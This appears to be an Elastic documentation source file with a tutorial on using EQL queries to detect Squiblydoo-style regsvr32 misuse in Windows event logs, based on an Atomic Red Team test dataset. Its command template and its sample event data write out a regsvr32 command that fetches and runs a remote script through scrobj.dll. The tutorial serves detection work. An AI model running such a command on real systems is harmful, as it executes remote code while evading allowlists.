detect-threats-with-eql.asciidoc 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400
  1. [role="xpack"]
  2. [[eql-ex-threat-detection]]
  3. == Example: Detect threats with EQL
  4. This example tutorial shows how you can use EQL to detect security threats and
  5. other suspicious behavior. In the scenario, you're tasked with detecting
  6. https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event
  7. logs.
  8. `regsvr32.exe` is a built-in command-line utility used to register `.dll`
  9. libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status,
  10. letting it bypass most allowlist software and script blockers.
  11. Attackers with access to a user's command line can use `regsvr32.exe` to run
  12. malicious scripts via `.dll` libraries, even on machines that otherwise
  13. disallow such scripts.
  14. One common variant of regsvr32 misuse is a
  15. https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
  16. Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
  17. register and run a remote script. These commands often look like this:
  18. [source,sh]
  19. ----
  20. "regsvr32.exe /s /u /i:<script-url> scrobj.dll"
  21. ----
  22. [discrete]
  23. [[eql-ex-threat-detection-setup]]
  24. === Setup
  25. This tutorial uses a test dataset from
  26. https://github.com/redcanaryco/atomic-red-team[Atomic Red Team] that includes
  27. events imitating a Squiblydoo attack. The data has been mapped to
  28. {ecs-ref}[Elastic Common Schema (ECS)] fields.
  29. To get started:
  30. . Create an <<index-templates,index template>> with
  31. <<create-index-template,data stream enabled>>:
  32. +
  33. ////
  34. [source,console]
  35. ----
  36. DELETE /_data_stream/*
  37. DELETE /_index_template/*
  38. ----
  39. // TEARDOWN
  40. ////
  41. +
  42. [source,console]
  43. ----
  44. PUT /_index_template/my-data-stream-template
  45. {
  46. "index_patterns": [ "my-data-stream*" ],
  47. "data_stream": { },
  48. "priority": 500
  49. }
  50. ----
  51. . Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`].
  52. . Use the <<docs-bulk,bulk API>> to index the data to a matching stream:
  53. +
  54. [source,sh]
  55. ----
  56. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  57. ----
  58. // NOTCONSOLE
  59. . Use the <<cat-indices,cat indices API>> to verify the data was indexed:
  60. +
  61. [source,console]
  62. ----
  63. GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
  64. ----
  65. // TEST[setup:atomic_red_regsvr32]
  66. +
  67. The response should show a `docs.count` of `150`.
  68. +
  69. [source,txt]
  70. ----
  71. health status index docs.count
  72. yellow open .ds-my-data-stream-2099.12.07-000001 150
  73. ----
  74. // TESTRESPONSE[s/.ds-my-data-stream-2099.12.07-000001/.+/ non_json]
  75. [discrete]
  76. [[eql-ex-get-a-count-of-regsvr32-events]]
  77. === Get a count of regsvr32 events
  78. First, get a count of events associated with a `regsvr32.exe` process:
  79. [source,console]
  80. ----
  81. GET /my-data-stream/_eql/search?filter_path=-hits.events <1>
  82. {
  83. "query": """
  84. any where process.name == "regsvr32.exe" <2>
  85. """,
  86. "size": 200 <3>
  87. }
  88. ----
  89. // TEST[setup:atomic_red_regsvr32]
  90. <1> `?filter_path=-hits.events` excludes the `hits.events` property from the
  91. response. This search is only intended to get an event count, not a list of
  92. matching events.
  93. <2> Matches any event with a `process.name` of `regsvr32.exe`.
  94. <3> Returns up to 200 hits for matching events.
  95. The response returns 143 related events.
  96. [source,console-result]
  97. ----
  98. {
  99. "is_partial": false,
  100. "is_running": false,
  101. "took": 60,
  102. "timed_out": false,
  103. "hits": {
  104. "total": {
  105. "value": 143,
  106. "relation": "eq"
  107. }
  108. }
  109. }
  110. ----
  111. // TESTRESPONSE[s/"took": 60/"took": $body.took/]
  112. [discrete]
  113. [[eql-ex-check-for-command-line-artifacts]]
  114. === Check for command line artifacts
  115. `regsvr32.exe` processes were associated with 143 events. But how was
  116. `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line
  117. utility. Narrow your results to processes where the command line was used:
  118. [source,console]
  119. ----
  120. GET /my-data-stream/_eql/search
  121. {
  122. "query": """
  123. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  124. """
  125. }
  126. ----
  127. // TEST[setup:atomic_red_regsvr32]
  128. The query matches one event with an `event.type` of `creation`, indicating the
  129. start of a `regsvr32.exe` process. Based on the event's `process.command_line`
  130. value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`.
  131. This fits the behavior of a Squiblydoo attack.
  132. [source,console-result]
  133. ----
  134. {
  135. ...
  136. "hits": {
  137. "total": {
  138. "value": 1,
  139. "relation": "eq"
  140. },
  141. "events": [
  142. {
  143. "_index": ".ds-my-data-stream-2099.12.07-000001",
  144. "_id": "gl5MJXMBMk1dGnErnBW8",
  145. "_source": {
  146. "process": {
  147. "parent": {
  148. "name": "cmd.exe",
  149. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  150. "executable": "C:\\Windows\\System32\\cmd.exe"
  151. },
  152. "name": "regsvr32.exe",
  153. "pid": 2012,
  154. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  155. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  156. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  157. "ppid": 2652
  158. },
  159. "logon_id": 217055,
  160. "@timestamp": 131883573237130000,
  161. "event": {
  162. "category": "process",
  163. "type": "creation"
  164. },
  165. "user": {
  166. "full_name": "bob",
  167. "domain": "ART-DESKTOP",
  168. "id": "ART-DESKTOP\\bob"
  169. }
  170. }
  171. }
  172. ]
  173. }
  174. }
  175. ----
  176. // TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/]
  177. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/]
  178. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  179. [discrete]
  180. [[eql-ex-check-for-malicious-script-loads]]
  181. === Check for malicious script loads
  182. Check if `regsvr32.exe` later loads the `scrobj.dll` library:
  183. [source,console]
  184. ----
  185. GET /my-data-stream/_eql/search
  186. {
  187. "query": """
  188. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  189. """
  190. }
  191. ----
  192. // TEST[setup:atomic_red_regsvr32]
  193. The query matches an event, confirming `scrobj.dll` was loaded.
  194. [source,console-result]
  195. ----
  196. {
  197. ...
  198. "hits": {
  199. "total": {
  200. "value": 1,
  201. "relation": "eq"
  202. },
  203. "events": [
  204. {
  205. "_index": ".ds-my-data-stream-2099.12.07-000001",
  206. "_id": "ol5MJXMBMk1dGnErnBW8",
  207. "_source": {
  208. "process": {
  209. "name": "regsvr32.exe",
  210. "pid": 2012,
  211. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  212. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  213. },
  214. "@timestamp": 131883573237450016,
  215. "dll": {
  216. "path": "C:\\Windows\\System32\\scrobj.dll",
  217. "name": "scrobj.dll"
  218. },
  219. "event": {
  220. "category": "library"
  221. }
  222. }
  223. }
  224. ]
  225. }
  226. }
  227. ----
  228. // TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/]
  229. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/]
  230. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  231. [discrete]
  232. [[eql-ex-detemine-likelihood-of-success]]
  233. === Determine the likelihood of success
  234. In many cases, attackers use malicious scripts to connect to remote servers or
  235. download other files. Use an <<eql-sequences,EQL sequence query>> to check
  236. for the following series of events:
  237. . A `regsvr32.exe` process
  238. . A load of the `scrobj.dll` library by the same process
  239. . Any network event by the same process
  240. Based on the command line value seen in the previous response, you can expect to
  241. find a match. However, this query isn't designed for that specific command.
  242. Instead, it looks for a pattern of suspicious behavior that's generic enough to
  243. detect similar threats.
  244. [source,console]
  245. ----
  246. GET /my-data-stream/_eql/search
  247. {
  248. "query": """
  249. sequence by process.pid
  250. [process where process.name == "regsvr32.exe"]
  251. [library where dll.name == "scrobj.dll"]
  252. [network where true]
  253. """
  254. }
  255. ----
  256. // TEST[setup:atomic_red_regsvr32]
  257. The query matches a sequence, indicating the attack likely succeeded.
  258. [source,console-result]
  259. ----
  260. {
  261. ...
  262. "hits": {
  263. "total": {
  264. "value": 1,
  265. "relation": "eq"
  266. },
  267. "sequences": [
  268. {
  269. "join_keys": [
  270. 2012
  271. ],
  272. "events": [
  273. {
  274. "_index": ".ds-my-data-stream-2099.12.07-000001",
  275. "_id": "gl5MJXMBMk1dGnErnBW8",
  276. "_source": {
  277. "process": {
  278. "parent": {
  279. "name": "cmd.exe",
  280. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  281. "executable": "C:\\Windows\\System32\\cmd.exe"
  282. },
  283. "name": "regsvr32.exe",
  284. "pid": 2012,
  285. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  286. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  287. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  288. "ppid": 2652
  289. },
  290. "logon_id": 217055,
  291. "@timestamp": 131883573237130000,
  292. "event": {
  293. "category": "process",
  294. "type": "creation"
  295. },
  296. "user": {
  297. "full_name": "bob",
  298. "domain": "ART-DESKTOP",
  299. "id": "ART-DESKTOP\\bob"
  300. }
  301. }
  302. },
  303. {
  304. "_index": ".ds-my-data-stream-2099.12.07-000001",
  305. "_id": "ol5MJXMBMk1dGnErnBW8",
  306. "_source": {
  307. "process": {
  308. "name": "regsvr32.exe",
  309. "pid": 2012,
  310. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  311. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  312. },
  313. "@timestamp": 131883573237450016,
  314. "dll": {
  315. "path": "C:\\Windows\\System32\\scrobj.dll",
  316. "name": "scrobj.dll"
  317. },
  318. "event": {
  319. "category": "library"
  320. }
  321. }
  322. },
  323. {
  324. "_index": ".ds-my-data-stream-2099.12.07-000001",
  325. "_id": "EF5MJXMBMk1dGnErnBa9",
  326. "_source": {
  327. "process": {
  328. "name": "regsvr32.exe",
  329. "pid": 2012,
  330. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  331. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  332. },
  333. "@timestamp": 131883573238680000,
  334. "destination": {
  335. "address": "151.101.48.133",
  336. "port": "443"
  337. },
  338. "source": {
  339. "address": "192.168.162.134",
  340. "port": "50505"
  341. },
  342. "event": {
  343. "category": "network"
  344. },
  345. "user": {
  346. "full_name": "bob",
  347. "domain": "ART-DESKTOP",
  348. "id": "ART-DESKTOP\\bob"
  349. },
  350. "network": {
  351. "protocol": "tcp",
  352. "direction": "outbound"
  353. }
  354. }
  355. }
  356. ]
  357. }
  358. ]
  359. }
  360. }
  361. ----
  362. // TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/]
  363. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.sequences.0.events.0._index/]
  364. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
  365. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
  366. // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]